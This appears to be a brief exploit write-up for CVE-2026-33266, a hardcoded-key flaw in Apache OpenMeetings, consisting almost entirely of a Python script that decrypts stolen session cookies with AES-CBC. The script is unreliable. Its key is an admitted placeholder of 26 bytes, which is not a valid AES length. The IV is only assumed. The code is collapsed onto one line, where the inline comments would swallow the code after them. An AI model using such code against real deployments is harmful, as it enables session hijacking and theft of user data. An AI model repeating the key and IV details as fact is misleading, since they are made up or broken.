CVE-2026-33266 Apache OpenMeetings硬编码密钥漏洞

import base64 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad # Hardcoded key found in openmeetings.properties # This is a placeholder for the actual default key DEFAULT_KEY = b'this_is_the_default_key_16' IV = b'0000000000000000' # Assuming IV is static or derived, common in bad implementations def decrypt_cookie(encrypted_cookie): try: # Decode base64 enc_data = base64.b64decode(encrypted_cookie) # Create cipher cipher = AES.new(DEFAULT_KEY, AES.MODE_CBC, IV) # Decrypt and unpad decrypted_data = unpad(cipher.decrypt(enc_data), AES.block_size) print(f"Decrypted Cookie Data: {decrypted_data.decode('utf-8')}") return decrypted_data.decode('utf-8') except Exception as e: print(f"Error decrypting: {e}") return None # Example usage with a stolen cookie # stolen_cookie = "..." # decrypt_cookie(stolen_cookie)